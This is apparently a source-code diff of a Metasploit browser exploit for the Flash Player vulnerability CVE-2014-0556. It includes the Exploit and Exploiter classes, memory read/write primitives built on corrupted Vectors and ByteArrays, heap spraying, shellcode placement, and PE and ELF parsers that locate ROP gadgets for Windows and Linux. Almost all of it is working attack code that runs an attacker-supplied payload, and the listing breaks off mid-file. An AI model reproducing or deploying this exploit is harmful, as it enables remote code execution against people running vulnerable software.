if (allocation_size < 0x2a0)
|
|
||||||
{
|
|
||||||
allocation = (allocation + 0x24); // next allocation
|
|
||||||
} else
|
|
||||||
{
|
|
||||||
allocation = (allocation - 0x24); // prior allocation
|
|
||||||
};
|
|
||||||
};
|
|
||||||
var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc));
|
|
||||||
while (true)
|
|
||||||
{
|
|
||||||
if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
|
|
||||||
if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
|
|
||||||
allocation_contents = this.read_memory(vector, address, (allocation_contents + 8));
|
|
||||||
};
|
|
||||||
return (allocation_contents);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Returns pointer to the nops in one of the allocated code vectors
|
|
||||||
function findCodeVector(vector:*, vector_address:*, mark:*):uint{
|
|
||||||
var allocation_size:uint;
|
|
||||||
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
|
|
||||||
while (true)
|
|
||||||
{
|
|
||||||
allocation_size = this.read_memory(vector, vector_address, (allocation + 8));
|
|
||||||
if (allocation_size == 0x7f0) break; // Code Vector found
|
|
||||||
allocation = (allocation + 0x24); // next allocation
|
|
||||||
};
|
|
||||||
|
|
||||||
// allocation contents should be the vector code, search for the mark 0x45454545
|
|
||||||
var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc));
|
|
||||||
while (true)
|
|
||||||
{
|
|
||||||
if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break;
|
|
||||||
allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation
|
|
||||||
};
|
|
||||||
return ((allocation_contents + 0x2c));
|
|
||||||
}
|
|
||||||
|
|
||||||
// create 8 vectors of size 0x7f0 inside an array to place shellcode
|
|
||||||
function createCodeVectors(mark:uint, nops:uint){
|
|
||||||
var code_vectors_array:Array = new Array();
|
|
||||||
var i:* = 0;
|
|
||||||
while (i < 8)
|
|
||||||
{
|
|
||||||
code_vectors_array[i] = new Vector.<uint>(((0x7f0 / 4) - 8)); // new Vector.<uint>(0x1f4)
|
|
||||||
code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4
|
|
||||||
code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4
|
|
||||||
i++;
|
|
||||||
};
|
|
||||||
return (code_vectors_array);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Fill with the code vectors with the shellcode
|
|
||||||
function fillCodeVectors(array_code_vectors:Array) {
|
|
||||||
var i:uint = 0;
|
|
||||||
var sh:uint=1;
|
|
||||||
|
|
||||||
while(i < array_code_vectors.length)
|
|
||||||
{
|
|
||||||
for(var u:String in shellcodeObj)
|
|
||||||
{
|
|
||||||
array_code_vectors[i][sh++] = Number(shellcodeObj[u]);
|
|
||||||
}
|
|
||||||
i++;
|
|
||||||
sh = 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}//package
|
|
|
@ -0,0 +1,10 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import mx.core.ByteArrayAsset;
|
||||||
|
|
||||||
|
[Embed(source="binary_data_linux", mimeType="application/octet-stream")]
|
||||||
|
public class GraphShadLinux extends ByteArrayAsset
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,10 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import mx.core.ByteArrayAsset;
|
||||||
|
|
||||||
|
[Embed(source="binary_data_windows", mimeType="application/octet-stream")]
|
||||||
|
public class GraphShadWindows extends ByteArrayAsset
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,10 +0,0 @@
|
||||||
package
|
|
||||||
{
|
|
||||||
import mx.core.ByteArrayAsset;
|
|
||||||
|
|
||||||
[Embed(source="binary_data", mimeType="application/octet-stream")]
|
|
||||||
public class Graph_Shad extends ByteArrayAsset
|
|
||||||
{
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -0,0 +1,32 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.external.ExternalInterface
|
||||||
|
|
||||||
|
public class Logger {
|
||||||
|
private static const DEBUG:uint = 0
|
||||||
|
|
||||||
|
public static function alert(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("alert", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function log(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("console.log", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,72 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class PE
|
||||||
|
{
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
|
||||||
|
public function PE(ba:ExploitByteArray)
|
||||||
|
{
|
||||||
|
eba = ba
|
||||||
|
}
|
||||||
|
|
||||||
|
public function base(addr:uint):uint
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (eba.read(addr) == 0x00905a4d) return addr
|
||||||
|
addr -= 0x10000
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function module(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||||
|
var mod_name:String
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||||
|
if (!entry) throw new Error("FAIL!");
|
||||||
|
mod_name = eba.read_string(addr + entry, name.length)
|
||||||
|
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||||
|
}
|
||||||
|
|
||||||
|
public function procedure(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||||
|
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||||
|
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||||
|
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||||
|
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||||
|
var proc_name:String
|
||||||
|
|
||||||
|
for (var i:uint = 0; ; i++) {
|
||||||
|
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||||
|
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||||
|
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
|
{
|
||||||
|
var find:uint = 0
|
||||||
|
var contents:uint = 0
|
||||||
|
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < limit - 4; i++) {
|
||||||
|
contents = eba.read(addr + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
Binary file not shown.
|
@ -0,0 +1,235 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class Elf
|
||||||
|
{
|
||||||
|
private const PT_DYNAMIC:uint = 2
|
||||||
|
private const PT_LOAD:uint = 1
|
||||||
|
private const PT_READ_EXEC:uint = 5
|
||||||
|
private const DT_SYMTAB:uint = 6
|
||||||
|
private const DT_STRTAB:uint = 5
|
||||||
|
private const DT_PLTGOT:uint = 3
|
||||||
|
|
||||||
|
private var e_ba:ExploitByteArray
|
||||||
|
// elf base address
|
||||||
|
public var base:uint = 0
|
||||||
|
// program header address
|
||||||
|
public var ph:uint = 0
|
||||||
|
// number of program headers
|
||||||
|
public var ph_size:uint = 0
|
||||||
|
// program header entry size
|
||||||
|
public var ph_esize:uint = 0
|
||||||
|
// DYNAMIC segment address
|
||||||
|
public var seg_dynamic:uint = 0
|
||||||
|
// DYNAMIC segment size
|
||||||
|
public var seg_dynamic_size:uint = 0
|
||||||
|
// CODE segment address
|
||||||
|
public var seg_exec:uint = 0
|
||||||
|
// CODE segment size
|
||||||
|
public var seg_exec_size:uint = 0
|
||||||
|
// .dynsyn section address
|
||||||
|
public var sec_dynsym:uint = 0
|
||||||
|
// .synstr section address
|
||||||
|
public var sec_dynstr:uint = 0
|
||||||
|
// .got.plt section address
|
||||||
|
public var sec_got_plt:uint = 0
|
||||||
|
|
||||||
|
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||||
|
{
|
||||||
|
e_ba = ba
|
||||||
|
set_base(addr)
|
||||||
|
set_program_header()
|
||||||
|
set_program_header_size()
|
||||||
|
set_program_header_entry_size()
|
||||||
|
set_dynamic_segment()
|
||||||
|
set_exec_segment()
|
||||||
|
set_dynsym()
|
||||||
|
set_dynstr()
|
||||||
|
set_got_plt()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function external_symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
var got_plt_index:uint = 0
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||||
|
}
|
||||||
|
if (st_info != 0x11) {
|
||||||
|
got_plt_index++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return base + st_value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint):uint
|
||||||
|
{
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
var contents:uint = 0
|
||||||
|
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||||
|
contents = e_ba.read(seg_exec + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_base(addr:uint):void
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (e_ba.read(addr) == 0x464c457f) {
|
||||||
|
base = addr
|
||||||
|
return
|
||||||
|
}
|
||||||
|
addr -= 0x1000
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header():void
|
||||||
|
{
|
||||||
|
ph = base + e_ba.read(base + 0x1c)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_size():void
|
||||||
|
{
|
||||||
|
ph_size = e_ba.read(base + 0x2c, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_entry_size():void
|
||||||
|
{
|
||||||
|
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynamic_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
if (p_type == PT_DYNAMIC) {
|
||||||
|
seg_dynamic = base + e_ba.read(entry + 8)
|
||||||
|
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_exec_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
var p_flags:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
p_flags = e_ba.read(entry + 0x18)
|
||||||
|
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||||
|
seg_exec = base + e_ba.read(entry + 8)
|
||||||
|
seg_exec_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynsym():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_SYMTAB) {
|
||||||
|
sec_dynsym = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynstr():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_STRTAB) {
|
||||||
|
sec_dynstr = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_got_plt():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_PLTGOT) {
|
||||||
|
sec_got_plt = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,83 @@
|
||||||
|
// Build how to:
|
||||||
|
// 1. Download the AIRSDK, and use its compiler.
|
||||||
|
// 2. Download the Flex SDK (4.6)
|
||||||
|
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||||
|
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||||
|
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||||
|
|
||||||
|
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
|
||||||
|
// Modified to be used from msf
|
||||||
|
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.Sprite
|
||||||
|
import flash.display.BitmapData
|
||||||
|
import flash.geom.Rectangle
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.display.LoaderInfo
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
|
||||||
|
public class Exploit extends Sprite
|
||||||
|
{
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
private var exploiter:Exploiter
|
||||||
|
private var b64:Base64Decoder = new Base64Decoder()
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var os:String
|
||||||
|
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
|
||||||
|
private var ov:Vector.<Object> = new Vector.<Object>(12800)
|
||||||
|
private var bd:BitmapData = new BitmapData(128, 16)
|
||||||
|
|
||||||
|
public function Exploit()
|
||||||
|
{
|
||||||
|
var i:uint
|
||||||
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||||
|
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||||
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||||
|
var pattern:RegExp = / /g;
|
||||||
|
b64_payload = b64_payload.replace(pattern, "+")
|
||||||
|
b64.decode(b64_payload)
|
||||||
|
payload = b64.toByteArray()
|
||||||
|
|
||||||
|
for (i = 0; i < bv.length; i++) {
|
||||||
|
bv[i] = new ByteArray()
|
||||||
|
bv[i].length = 0x2000
|
||||||
|
bv[i].position = 0xFFFFF000
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < bv.length; i++)
|
||||||
|
if (i % 2 == 0) bv[i] = null
|
||||||
|
|
||||||
|
for (i = 0; i < ov.length; i++) {
|
||||||
|
ov[i] = new Vector.<uint>(1022)
|
||||||
|
ov[i][0] = 0xdeadbeef
|
||||||
|
}
|
||||||
|
|
||||||
|
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
|
||||||
|
|
||||||
|
for (i = 0; i < ov.length ; i++) {
|
||||||
|
if (ov[i].length == 0xffffffff) {
|
||||||
|
uv = ov[i]
|
||||||
|
uv[0] = 0xdeadbeef
|
||||||
|
uv[1] = 0xdeedbeef
|
||||||
|
for(var j:uint = 0; j < 4096; j++) {
|
||||||
|
if (uv[j] == 1022 && uv[j + 2] == 0xdeadbeef) {
|
||||||
|
uv[0x3fffffff] = uv[j + 1]
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
ov[i] = null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (i = 0; i < bv.length; i++) {
|
||||||
|
bv[i] = null
|
||||||
|
}
|
||||||
|
|
||||||
|
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,85 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
|
||||||
|
public class ExploitByteArray
|
||||||
|
{
|
||||||
|
private const MAX_STRING_LENGTH:uint = 100
|
||||||
|
public var ba:ByteArray
|
||||||
|
public var original_length:uint
|
||||||
|
private var platform:String
|
||||||
|
|
||||||
|
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||||
|
{
|
||||||
|
ba = new ByteArray()
|
||||||
|
ba.length = l
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
ba.writeUnsignedInt(0)
|
||||||
|
platform = p
|
||||||
|
original_length = l
|
||||||
|
}
|
||||||
|
|
||||||
|
public function set_length(length:uint):void
|
||||||
|
{
|
||||||
|
ba.length = length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_length():uint
|
||||||
|
{
|
||||||
|
return ba.length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function lets_ready():void
|
||||||
|
{
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
if (platform == "linux") {
|
||||||
|
ba.length = 0xffffffff
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (ba.length == 0xffffffff)
|
||||||
|
return true
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return ba.readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return ba.readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return ba.readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read_string(addr:uint, length:uint = 0):String
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
if (length == 0)
|
||||||
|
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||||
|
else
|
||||||
|
return ba.readUTFBytes(length)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
var i:uint
|
||||||
|
|
||||||
|
if (addr) ba.position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) ba.writeByte(0)
|
||||||
|
} else if (value is ByteArray) {
|
||||||
|
var value_length:uint = value.length
|
||||||
|
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||||
|
} else ba.writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,74 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class ExploitVector
|
||||||
|
{
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
public var original_length:uint = 0x3fe
|
||||||
|
|
||||||
|
public function ExploitVector(v:Vector.<uint>)
|
||||||
|
{
|
||||||
|
uv = v
|
||||||
|
}
|
||||||
|
|
||||||
|
public function restore():void
|
||||||
|
{
|
||||||
|
uv[0x3ffffffe] = original_length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (uv.length > original_length)
|
||||||
|
{
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function at(pos:uint):uint
|
||||||
|
{
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
// pos: position where a Vector.<Object>[0] lives
|
||||||
|
public function set_own_address(pos:uint):void
|
||||||
|
{
|
||||||
|
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint):uint
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
uv[pos] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
public function search_pattern(pattern:uint, limit:uint):uint
|
||||||
|
{
|
||||||
|
for (var i:uint = 0; i < limit/4; i++) {
|
||||||
|
if (uv[i] == pattern) {
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,399 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.System
|
||||||
|
|
||||||
|
public class Exploiter
|
||||||
|
{
|
||||||
|
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||||
|
private var exploit:Exploit
|
||||||
|
private var ev:ExploitVector
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var op_system:String
|
||||||
|
private var pos:uint
|
||||||
|
private var byte_array_object:uint
|
||||||
|
private var main:uint
|
||||||
|
private var stack_object:uint
|
||||||
|
private var payload_space_object:uint
|
||||||
|
private var buffer_object:uint
|
||||||
|
private var buffer:uint
|
||||||
|
private var vtable:uint
|
||||||
|
private var stack_address:uint
|
||||||
|
private var payload_address:uint
|
||||||
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var spray:Vector.<Object> = new Vector.<Object>(89698)
|
||||||
|
|
||||||
|
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||||
|
{
|
||||||
|
exploit = exp
|
||||||
|
payload = p
|
||||||
|
platform = pl
|
||||||
|
op_system = os
|
||||||
|
|
||||||
|
ev = new ExploitVector(uv)
|
||||||
|
if (!ev.is_ready()) return
|
||||||
|
eba = new ExploitByteArray(platform)
|
||||||
|
spray_objects()
|
||||||
|
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||||
|
ev.set_own_address(pos)
|
||||||
|
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||||
|
disclose_addresses()
|
||||||
|
corrupt_byte_array()
|
||||||
|
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||||
|
do_rop()
|
||||||
|
restore_byte_array()
|
||||||
|
ev.restore()
|
||||||
|
cleanup()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function spray_objects():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - spray_objects()")
|
||||||
|
for (var i:uint = 0; i < spray.length; i++)
|
||||||
|
{
|
||||||
|
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||||
|
spray[i][0] = eba.ba
|
||||||
|
spray[i][1] = exploit
|
||||||
|
spray[i][2] = stack
|
||||||
|
spray[i][3] = payload_space
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function search_objects():uint
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - search_objects()")
|
||||||
|
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
|
||||||
|
return idx + 1
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_objects():Boolean
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_objects()")
|
||||||
|
byte_array_object = ev.at(pos) - 1
|
||||||
|
main = ev.at(pos + 1) - 1
|
||||||
|
stack_object = ev.at(pos + 2) - 1
|
||||||
|
payload_space_object = ev.at(pos + 3) - 1
|
||||||
|
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_addresses():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x10)
|
||||||
|
buffer = ev.read(buffer_object + 0x1c)
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x40)
|
||||||
|
buffer = ev.read(buffer_object + 8)
|
||||||
|
}
|
||||||
|
vtable = ev.read(main)
|
||||||
|
stack_address = ev.read(stack_object + 0x18)
|
||||||
|
payload_address = ev.read(payload_space_object + 0x18)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function corrupt_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8) // *array
|
||||||
|
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
eba.lets_ready()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function restore_byte_array():void
|
